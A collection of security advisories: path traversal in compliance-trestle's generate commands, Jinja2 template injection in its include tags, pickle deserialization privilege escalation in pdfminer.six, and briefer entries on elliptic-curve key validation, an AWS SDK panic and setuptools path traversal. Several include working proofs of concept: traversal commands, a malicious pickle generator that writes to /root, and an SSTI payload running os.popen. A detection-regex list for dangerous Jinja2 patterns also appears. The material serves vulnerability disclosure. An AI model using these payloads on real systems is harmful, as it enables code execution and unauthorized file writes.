The remediation for CVE-2026-46345 / GHSA-4q5v-7g7x-j79w ("Arbitrary File Write via Path Traversal in compliance-trestle – jinja") added a new PathSecurityValidator.validatelocalpath() guard and wired it into the jinja command's output path. The identical output = trestleroot / args.output write pattern in the sibling author commands — catalog-generate, profile-generate, and ssp-generate — was not updated. Those commands instead rely on isdirectorynameallowed(), a task-name-collision check that does not stop path traversal: an absolute --output or a --output whose first component is innocuous subdir/../../../...) escapes the trestle workspace and writes generated markdown under an attacker-chosen output root outside the workspace, subject to the invoking process's filesystem permissions.
Impact
Threat model. This is not a claim that a local user harms themselves by intentionally choosing an unsafe -o. The security boundary is crossed when a trusted automation job, CI workflow, shared trestle service, or wrapper invokes one of these subcommands and derives --output from repository-controlled, tenant-controlled, or otherwise untrusted data while expecting trestle to keep generated output inside the workspace. The attacker does not need local shell access to the trestle host; they only need influence over the data that the trusted automation maps into the --output argument.
Primary claim (confirmed): Such an invocation writes control-markdown files outside the trestle workspace — arbitrary-location file write as the process owner. This is runtime-confirmed for catalog-generate: catalog-generate -o /tmp/TRESTLEESCAPEABS produced files outside the workspace on a v4.0.3 install while the same install blocked the equivalent jinja -o with a Security violation error. profile-generate and ssp-generate are source-confirmed siblings (identical trestleroot / args.output join, the same isdirectorynameallowed-only gate, no validatelocalpath call); see Runtime-confirmed scope in the End-to-end verification below.
Destructive variant --force-overwrite, source-confirmed): before generating, the force-overwrite path clears the selected output directory via clearfolder(...) trestle/core/commands/common/cmdutils.py), which performs shutil.rmtree on that directory. Because clearfolder early-returns unless the target is an existing directory, the primitive is recursive deletion of an attacker-selected directory tree outside the workspace (e.g. wiping a directory the process owner can write), not pinpoint deletion of an arbitrary single file. This is the integrity + availability impact behind I:HA:H.
Secondary (conditional) escalation: The affected population extends to every consumer that runs these generate subcommands in a CI/automation pipeline, shared/multi-tenant trestle workspace, or wrapper that forwards an externally supplied name — the same threat model GitHub/the maintainer accepted for CVE-2026-46345. Indirect code execution (e.g. overwriting a script the CI pipeline later invokes) is the bounded escalation beyond the demonstrated file-write primitive.
Technical Details
Source → Transform → Sink → Missing-guard → Result: attacker-controlled --output CLI argument → trestleroot / args.output join in catalog.pyssp.pyprof.py → CatalogAPI.writecatalogasmarkdown() writes files under the resolved path → only isdirectorynameallowed() (parts[0]-only task-name check) applied, not PathSecurityValidator.validatelocalpath() → files written outside the trestle workspace.
The fix is scoped to jinja.py only
Both fix commits 247fcce2…, 7d107b3a…, "add path traversal protection and prevent SSTI in jinja templating") touch only trestle/core/commands/author/jinja.py (+ its tests). The new guard:
python trestle/core/commands/author/jinja.py outputfile = trestleroot / routputfile PathSecurityValidator.validatelocalpath(outputfile, trestleroot) # :229 (and :278, :297)
validatelocalpath trestle/core/remote/security.py:326) is the correct guard — it .resolve()s the path and calls relativeto(trestleroot), rejecting both .. traversal and absolute paths.
The sibling generate commands were not updated
catalog-generate, profile-generate, and ssp-generate build the output path with the same join but never call validatelocalpath. The only check is isdirectorynameallowed:
python trestle/core/commands/author/catalog.py:69 / ssp.py:97 / prof.py:86 (identical in all three) if not fileutils.isdirectorynameallowed(args.output): raise TrestleError(f'{args.output} is not an allowed directory name') ... markdownpath = trestleroot / args.output # catalog.py:90 / prof.py:110 (var markdownpath); ssp.py:111 (var mdpath) — same join
isdirectorynameallowed trestle/common/fileutils.py:95) was designed to stop task names that collide with OSCAL model directories, not traversal. It inspects only parts[0]:
python def isdirectorynameallowed(name: str) -> bool: pathedname = pathlib.Path(name) rootpath = pathedname.parts[0] if rootpath in const.MODELTYPETOMODELDIR.values(): return False # blocks "catalogs", "profiles", ... if rootpath[0] == '.': return False # blocks leading "." (i.e. "../x") if pathedname.suffix != '': return False # blocks names with a file suffix if 'global' in pathedname.parts: return False return True
Two payloads defeat it:
1. Absolute path — --output /tmp/pwned. parts[0] is / (not an OSCAL dir, not .-prefixed, no suffix) → allowed. trestleroot / '/tmp/pwned' collapses to /tmp/pwned (pathlib discards the left operand on absolute join).
2. Non-leading .. — --output subdir/../../../../../../tmp/pwned. parts[0] is subdir (innocuous) → allowed. The .. segments resolve out of the workspace at write time.
The validated value flows unchanged to the write sink with no further sanitisation grep for resolve()/relativeto/validatelocalpath across the catalog write path returns zero hits): ControlContext.generate(..., mdroot=markdownpath, ...) stores it as a dataclass field trestle/core/controlcontext.py:46) and CatalogAPI.writecatalogasmarkdown() calls self.context.mdroot.mkdir(existok=True, parents=True) trestle/core/catalog/catalogapi.py:72) then writes <control-id>.md files under it.
Additional unguarded siblings create, replicate)
trestle create trestle/core/commands/create.py:95, desiredmodeldir = trestleroot / pluralpath / args.output) and trestle replicate replicate.py:90) have no isdirectorynameallowed check at all and accept the same absolute / .. --output. They write a structured OSCAL model file and refuse to overwrite an existing target .exists() raises), so the primitive is create-only there — lower impact than the generate commands, but the same missing-guard root cause. These are flagged as related defense-in-depth sinks sharing the root cause, not as the primary impact claim of this report.
Severity note
Metrics mirror the parent CVE-2026-46345 (8.4, AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). I:HA:H are direct and demonstrated: out-of-workspace file creation, plus recursive shutil.rmtree of an attacker-chosen directory under --force-overwrite. C:H is proposed for consistency with the parent advisory's published score for the same out-of-workspace write boundary; however, the directly demonstrated primitive is write/overwrite rather than file read, so a conservative vector with C:N AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H) yields 7.7, still High. S:U because trestle writes as the invoking user.
Why OSCAL id-validation does not prevent this
OSCAL model ids control.id, group.id) are NCName-validated constr(regex=…)) and cannot contain /, \, or a leading .., so the per-control leaf filenames grp1/ac-1.md) cannot themselves traverse. That validation does not help here: the base output root mdroot = trestleroot / args.output is built from the raw, unconstrained -o/--output CLI string and is joined before those safe leaves. An absolute or non-leading.. -o escapes the workspace, and the NCName-safe leaves are written underneath the escaped root — confirmed by the PoC, where the escape occurs at mdroot /tmp/TRESTLEESCAPEABS) with grp1/ac-1.md written beneath it.
Reproduction
Non-web target (Python CLI). PoC is a command sequence run against a local install of the project's current source (HEAD e22e35bd, reports as v4.0.3) — no vendor infrastructure touched.
Step 1 — Set up a normal trestle workspace with a one-control catalog
bash pip install -e . # editable install of the affected source (v4.0.3) mkdir /tmp/pocws && cd /tmp/pocws trestle init mkdir -p catalogs/mycat python3 - <<'PY' import uuid, json cat = {"catalog":{"uuid":str(uuid.uuid4()), "metadata":{"title":"PoC Catalog","last-modified":"2026-01-01T00:00:00.000+00:00","version":"1.0","oscal-version":"1.0.4"}, "groups":[{"id":"grp1","title":"Group One","controls":[ {"id":"ac-1","title":"PoC Control","parts":[{"id":"ac-1smt","name":"statement","prose":"PoC statement prose."}]}]}]}} json.dump(cat, open("catalogs/mycat/catalog.json","w"), indent=2) PY
Step 2 — Trigger the boundary failure (absolute-path escape)
bash trestle author catalog-generate -n mycat -o /tmp/TRESTLEESCAPEABS ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md
Recorded output:
text $ ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md /tmp/TRESTLEESCAPEABS/grp1/ac-1.md # written OUTSIDE /tmp/pocws $ head -3 /tmp/TRESTLEESCAPEABS/grp1/ac-1.md ac-1 - \[Group One\] PoC Control Control Statement
Step 3 — Same escape via non-leading .. (defeats isdirectorynameallowed)
bash trestle author catalog-generate -n mycat -o 'subdir/../../../../../../tmp/TRESTLEESCAPEDOTDOT' ls /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md # -> exists, outside the workspace
Step 4 — Differential: the patched jinja -o is blocked on the SAME install
bash echo 'hello {{ 1+1 }}' > template.j2 trestle author jinja -i template.j2 -o '/tmp/TRESTLEJINJABLOCKED'
Recorded output (fix is active; proves this is an incomplete fix, not an unpatched version):
text ERROR: ... Security violation: Path traversal blocked. Attempted to access "/tmp/TRESTLEJINJABLOCKED" which is outside the trestle workspace "/tmp/pocws" (no file created)
catalog-generate escapes while jinja is blocked → the validatelocalpath remediation was never applied to the generate commands.
End-to-end verification (runtime)
- Lab setup: editable install pip install -e .) of the affected source at HEAD e22e35bd (reports as v4.0.3, the release that contains the GHSA-4q5v jinja fix). import trestle.core.commands.author.catalog resolves to the in-tree source file, confirming the run exercises HEAD, not a stale wheel.
- Observed end-to-end effect (not an intermediate return value): files physically written outside the workspace — /tmp/TRESTLEESCAPEABS/grp1/ac-1.md and /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md — while /tmp/pocws (the trestle root) contained no such directory. Confirmed by findls.
- Differential control: the same install rejects the equivalent jinja -o with Security violation: Path traversal blocked … outside the trestle workspace, writing nothing. The guard exists and works in jinja; it is simply absent from the generate commands.
- Guard bypass, isolated: importing isdirectorynameallowed semantics and joining via pathlib confirms -o /tmp/pwned (absolute) and -o subdir/../../../tmp/pwned (innocuous leading component) both pass the check and resolve outside the root, while the naive -o ../../tmp/pwned is the only form the check stops.
- Runtime-confirmed scope (what was executed vs source-confirmed): the write escape is runtime-confirmed for catalog-generate (Steps 2–4 above). profile-generate and ssp-generate are source-confirmed siblings — same trestleroot / args.output join prof.py:110, ssp.py:111), same isdirectorynameallowed-only gate prof.py:86, ssp.py:97), no validatelocalpath — and should be fixed in the same patch. The --force-overwrite recursive-delete primitive clearfolder → shutil.rmtree, with an early return unless the target is an existing directory) is source-confirmed; the PoC above exercises the write escape, not -fo.
Suggested Fix
Root-cause fix: Mirror the jinja fix in the three generate commands (and, for completeness, createreplicate): after constructing the output path, call the existing guard before any mkdir/write.
python catalog.py / ssp.py / prof.py, immediately after markdownpath = trestleroot / args.output from trestle.core.remote.security import PathSecurityValidator PathSecurityValidator.validatelocalpath(markdownpath, trestleroot)
isdirectorynameallowed() should be retained for its original purpose (OSCAL-dir-collision prevention) but must not be relied on for traversal defence.
Defense-in-depth: Harden isdirectorynameallowed to reject absolute paths pathedname.isabsolute()) and any .. component so it provides a secondary layer even if the primary validatelocalpath call is accidentally omitted in future.
References
- Vendor security policy: https://github.com/oscal-compass/compliance-trestle/security/policy
- Submission endpoint: https://github.com/oscal-compass/compliance-trestle/security/advisories/new
- Parent advisory (incompletely fixed): GHSA-4q5v-7g7x-j79w / CVE-2026-46345 — "Arbitrary File Write via Path Traversal in compliance-trestle – jinja"
- Coordinated disclosure batch (part of the same PathSecurityValidator remediation): GHSA-gg2g-p7xc-qqmm (SSTI RCE), GHSA-g3vg-vx23-3858 (cache path traversal), GHSA-mj4x-vf5c-5xg8 (profile-import path traversal read), GHSA-w76h-q7c6-jpjp (SSRF)
- Fix commits (jinja-only scope): 247fcce289f60103f3d8e28d8ec51a6986b94fb6, 7d107b3ac53caca7bde97a6278b23cd739d94525
- Affected sinks: trestle/core/commands/author/catalog.py:69,90; author/ssp.py:97,111; author/prof.py:86,110; bypassed guard trestle/common/fileutils.py:95; write sink trestle/core/catalog/catalogapi.py:72; unused-here correct guard trestle/core/remote/security.py:326
- Additional unguarded siblings: trestle/core/commands/create.py:95, trestle/core/commands/replicate.py:90
Vulnerability Summary
The publickeyfromnumbers (or EllipticCurvePublicNumbers.publickey()), EllipticCurvePublicNumbers.publickey(), loadderpublickey() and loadpempublickey() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victimprivatekey]P via ECDH, this leaks information about victimprivatekey mod (smallsubgrouporder). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
Credit
This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
An unrecovered panic in the event stream header decoder in Amazon AWS SDK for Go v2 before release-2026-03-23 might allow an unauthenticated remote actor to terminate the consuming application process via a crafted event stream response frame containing a header value type outside the valid range.
To remediate this issue, users should upgrade to release-2026-03-23 or later, and patch any forked or derivative code.
🚀 Overview
This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.
!line
🚨 Special Note
This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).
While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.
Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.
This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle
📚 Table of Contents
- 🔍 Background - 🐍 Vulnerability Description - 🎭 Demo Scenario - 🧨 Technical Details - 🔧 Setup and Usage - 📝 Step-by-step Walkthrough - 🛡️ Security Standards & References ---
🔍 Background
pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.
🐍 Security Issue: If the CMap search path (CMAPPATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.
---
🐍 Vulnerability Description
- Component: pdfminer.six CMap loading (pdfminer/cmapdb.py) - Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data. - Exploitability: If a low-privileged user can write to any directory in CMAPPATH, they can execute code as the user running pdfminer—potentially root or a privileged service. - Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.
!line 🎭 Demo Scenario
Environment: - 🐧 Alpine Linux (Docker container) - 👨💻 Two users: - user1 (attacker: low-privilege) - root (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: /tmp/uploads - 🛣️ CMAPPATH set to /tmp/uploads for the privileged script - 📦 pdfminer.six installed system-wide
Attack Flow: 1. 🕵️♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads. 2. 👑 The privileged service (root) processes a PDF or calls getcmap("Evil"). 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.
!line
🧨 Technical Details
- Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle - Attack Prerequisites: Attacker can write to a directory included in CMAPPATH - Vulnerable Line: python return type(str(name), (), pickle.loads(gzfile.read())) In pdfminer/cmapdb.py's loaddata method - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246 - Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py
Exploit Chain: - Attacker places a malicious .pickle.gz file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account).
!line
🔧 Setup and Usage
📁 Files </> Dockerfile yml FROM python:3.11-alpine
ARG PMCOMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086
Install git and build tooling RUN apk add --no-cache git build-base
WORKDIR /opt
Clone pdfminer.six and check out the specific commit, then install from source RUN git clone https://github.com/pdfminer/pdfminer.six.git && \ cd pdfminer.six && \ git fetch --all && \ git checkout ${PMCOMMIT} && \ pip install --no-cache-dir -e .
App working directory for PoC WORKDIR /app
Create low-privilege user and uploads dir RUN adduser -D user1 && \ mkdir -p /tmp/uploads && \ chown user1:user1 /tmp/uploads && \ chmod 1777 /tmp/uploads
Copy PoC files COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py
ENV CMAPPATH=/tmp/uploads ENV PYTHONUNBUFFERED=1
Keep the container running in background so you can exec into it anytime. CMD ["tail", "-f", "/dev/null"]
</> evilmod.py python import os
def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "ISVERTICAL": False} </> createEvilPickle.py python import pickle import gzip from evilmod import evilFunc
class Evil: def reduce(self): return (evilFunc, ())
payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload)
print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") </> processPDF.py python import os from pdfminer.cmapdb import CMapDB
os.environ["CMAPPATH"] = "/tmp/uploads"
CMapDB.getcmap("Evil")
print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") !line
1️⃣ Build and start the demo container
bash docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ
2️⃣ In the container, open two shells in parallel (or switch users in one):
🕵️♂️ Shell 1 (Attacker: user1) bash su user1 cd /app python createEvilPickle.py ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
👑 Shell 2 (Victim: root) bash cd /app python processPdf.py 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created
3️⃣ Proof of escalation
bash cat /root/pwnedByPdfminer 🏴 Output: ROOTED by pdfminer pickle RCE
<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />
!line
📝 Step-by-step Walkthrough
1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory. 2. The root user runs a typical PDF-processing script, which loads CMap files from that directory. 3. The exploit triggers, running arbitrary code as root. 4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).
!line
🛡️ Security Standards & References
- CVSS (Common Vulnerability Scoring System): - Base Score: 7.8 (High) - Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- OWASP Top 10: - A08:2021 - Software and Data Integrity Failures - A03:2021 - Injection (by analogy, as it's code injection via deserialization)
- MITRE CWE References: - CWE-502: Deserialization of Untrusted Data - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- MITRE ATT&CK Techniques: - T1055: Process Injection - T1548: Abuse Elevation Control Mechanism
Impact
A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.
The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (class.mro, globals, subclasses()) to achieve arbitrary command execution via os.system() or subprocess.
Previously fixed instance (historical context):
An earlier version of rendertemplate() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.init.globals.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. This specific code path was fixed — rendertemplate() now performs a single template.render(lut) call.
Still-vulnerable code paths (this advisory):
1. MDCleanInclude.parse() — trestle/core/jinja/tags.py:148-151: Markdown file content is loaded via FileSystemLoader.getsource(), then re-parsed as Jinja2 source via Parser(self.environment, content).parse().
2. MDSectionInclude.parse() — trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (mdsection.content.rawtext) is re-parsed as Jinja2 source via Parser(self.environment, rawtext).parse().
3. MDDatestamp.parse() — trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated from strftime() rather than user input.
All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.
Attack vectors:
- Path A (Markdown include): Attacker places a malicious .md file with embedded Jinja2 payload in the trestle workspace. When {% mdcleaninclude "malicious.md" %} or {% mdsectioninclude %} is processed, the payload executes. - Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g., metadata.title) contains {{ namespace.init.globals.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.
The same globals.os.system() RCE technique demonstrated in the previously-fixed rendertemplate vulnerability applies to the remaining re-parsing paths.
Workarounds
1. Disable vulnerable tags: Remove MDCleanInclude and MDSectionInclude from the Jinja2 extensions list in trestle/core/jinja/ext.py:32 if markdown includes are not required. 2. Audit included Markdown files: Review all Markdown files referenced by {% mdcleaninclude %} and {% mdsectioninclude %} tags for unexpected Jinja2 syntax ({{ }}, {% %}, {# #}). 3. Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns. 4. Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories. 5. Pre-commit hook: Add a pre-commit hook to scan .md, .json, .yaml files for Jinja2 syntax patterns ({{ namespace, {% for, globals, class, mro, subclasses, os.system, subprocess) and block commits containing them. 6. CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.
Attack Path (Validation Evidence)
Path A: via {% mdcleaninclude %} tag
[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md ↓ main() → JinjaCmd.run(args) [trestle/core/commands/author/jinja.py:108] ↓ [Setup] JinjaCmd.jinjaify(trestleroot, inputpath, ...) [jinja.py:178] ↓ jinjaenv = JinjaCmd.createjinjaenvironment(templatefolder) [jinja.py:192] ↓ template = jinjaenv.gettemplate(str(rinputfile)) [jinja.py:193] ↓ output = JinjaCmd.rendertemplate(template, lut, templatefolder) [jinja.py:225] ↓ [Render] Jinja2 engine encounters {% mdcleaninclude "malicious.md" %} ↓ [Tag Handler] MDCleanInclude.parse(parser) [tags.py:115] ↓ markdownsource = "malicious.md" [tags.py:127] ↓ self.environment.loader.getsource(self.environment, "malicious.md") [tags.py:139] ↓ ← Loads file content from workspace directory (no restrictions on content) ↓ frontmatter.loads(mdcontent) → fm.content [tags.py:140-141] ↓ ← NO SANITIZATION: Markdown body assigned directly to content variable [SINK] localparser = Parser(self.environment, content) [tags.py:148] ↓ ← Markdown content parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:149] ↓ ← ALL Jinja2 syntax in the .md file is EXECUTED [Impact] SSTI — attacker-controlled Jinja2 code executes in template context
Path B: via {% mdsectioninclude %} tag
[Entry Point] Same as Path A ↓ Jinja2 engine encounters {% mdsectioninclude "doc.md" "Section Title" %} ↓ [Tag Handler] MDSectionInclude.parse(parser) [tags.py:56] ↓ self.environment.loader.getsource(..., markdownsource.value) [tags.py:82] ↓ DocsMarkdownNode.buildtreefrommarkdown(fm.content.split('\n')) [tags.py:86] ↓ fullmd.getnodeforkey(sectiontitle.value) → mdsection [tags.py:87] ↓ ← Extracts specific section from the markdown document [SINK] localparser = Parser(self.environment, mdsection.content.rawtext) [tags.py:100] ↓ ← Section raw text parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:101] ↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED [Impact] SSTI — same impact as Path A, limited to a specific markdown section
Taint Flow (Validation Evidence)
Source: User-supplied .md file in trestle workspace (file system) Type: Markdown text file Controllability: FULL — attacker controls entire file content ↓ [Transform 1] FileSystemLoader.getsource() [tags.py:82 or 139] Reads raw file content as string ✓ SANITIZATION: NONE — any content is loaded ↓ [Transform 2] frontmatter.loads(mdcontent) [tags.py:83 or 140] Strips YAML frontmatter, preserves Markdown body ✓ SANITIZATION: NONE — only processes YAML header, ignores body content ↓ [Transform 3] fm.content → content variable [tags.py:141] (Path A) OR mdsection.content.rawtext [tags.py:100] (Path B) Direct string assignment ✓ SANITIZATION: NONE — no filtering, encoding, or validation ↓ [Transform 4] adjustheadinglevel(content, expected) [tags.py:146] (Path A only) Adjusts Markdown heading levels (e.g., ## → ###) ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax ↓ [Sink] Parser(self.environment, taintedstring) [tags.py:100 or 148] Tainted Markdown content is passed to Jinja2 Parser constructor as template source [Sink] localparser.parse() [tags.py:101 or 149] All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed ↓ [Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context
Sanitization Verdict: ABSENT - No sandboxing: jinja2.Environment used (not SandboxedEnvironment) - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped - No content validation: Markdown body is not scanned for template syntax - autoescape=True is irrelevant: only affects HTML output encoding, not code execution
Proof of Concept
Setup
bash Initialize trestle workspace trestle init
Create malicious markdown file with Jinja2 payload cat > malicious.md << 'EOF' --- yamlheader: ignored ---
Compliance Documentation
Testing SSTI vulnerability: Execute command: {{ ssp.class.init.globals.builtins.import('os').popen('whoami').read() }} EOF
Create trigger template cat > trigger.md.jinja << 'EOF' POC: SSTI via mdcleaninclude tag
{% mdcleaninclude "malicious.md" %} EOF
Create a dummy LUT file cat > empty.yaml << 'EOF' lut: apikey: supersecrettoken12345 dbpassword: P@ssw0rd2024 jwtsecret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 awsaccesskey: AKIAIOSFODNN7EXAMPLE awssecretkey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY internalapi: https://internal.corp.example.com/api/v2/users EOF
Execution
bash trestle init trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml
Observed Output
markdown POC: SSTI via mdcleaninclude tag
Compliance Documentation
Testing SSTI vulnerability: Execute command: root
Expected Result
The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.
Affected Component
- File: trestle/core/jinja/tags.py - Class: MDCleanInclude (lines 106-151) - Class: MDSectionInclude (lines 47-103) - Function: MDCleanInclude.parse() (line 115), MDSectionInclude.parse() (line 56) - Configuring module: trestle/core/commands/author/jinja.py, method createjinjaenvironment() (line 304) - Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library
Fix Recommendation
Important: The fix for rendertemplate() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.
Comprehensive Fix Strategy
Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:
diff tags.py: MDCleanInclude.parse() — replace lines 148-151: - localparser = Parser(self.environment, content) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(content)])]
diff tags.py: MDSectionInclude.parse() — replace lines 100-103: - localparser = Parser(self.environment, mdsection.content.rawtext) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(mdsection.content.rawtext)])]
Step 2 (Defense in depth): Switch to SandboxedEnvironment in createjinjaenvironment():
diff jinja.py:304-308 — createjinjaenvironment() + from jinja2.sandbox import SandboxedEnvironment - return Environment( + return SandboxedEnvironment( loader=FileSystemLoader(templatefolder), extensions=extensions(), trimblocks=True, autoescape=True )
Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:
python jinja.py: add to run() before rendering JINJA2DANGEROUSPATTERNS = [ r'\{\{.globals', r'\{\{.class', r'\{\{.mro', r'\{\{.subclasses', r'\{\{.init', r'\{\{.os\.system', r'\{\{.subprocess', r'\{%\sfor\s', r'\{%\sif\s', ]
def validatedatafield(value: str) -> bool: """Reject data values containing suspicious Jinja2 syntax.""" for pattern in JINJA2DANGEROUSPATTERNS: if re.search(pattern, value): return False return True
Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data
diff # tags.py: before any secondary parsing + import re + def escapejinja2(text: str) -> str: + return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text) + + content = escapejinja2(content) # apply before Parser() localparser = Parser(self.environment, content)
Compliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions prior to 3.12.4 and 4.0.0 through 4.0.3, the custom Jinja2 include tags mdsectioninclude and mdcleaninclude re-parse the content of an included Markdown file as Jinja2 template code in a non-sandboxed environment, allowing server-side template injection that can lead to arbitrary code execution. The MDSectionInclude and MDCleanInclude tags in Trestle/core/jinja/tags.py pass included file content to Parser(self.environment, ...).parse(), splicing it into the host template's compilation, and the environment is a plain jinja2.Environment rather than a SandboxedEnvironment, so any expressions in the file are evaluated with full access to the usual SSTI gadget chain. Because Trestle's Markdown writers emit OSCAL prose and component-description fields verbatim, applying delimiter neutralization only to parameter tables, attacker-controlled OSCAL data such as a control statement, part prose, or component description containing Jinja2 syntax flows into an included Markdown file and is executed when the include tag re-parses it. This issue is fixed in version 4.1.0.
Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1
Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents
if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download
--> filename = os.path.join(tmpdir, name)
Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88
os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.
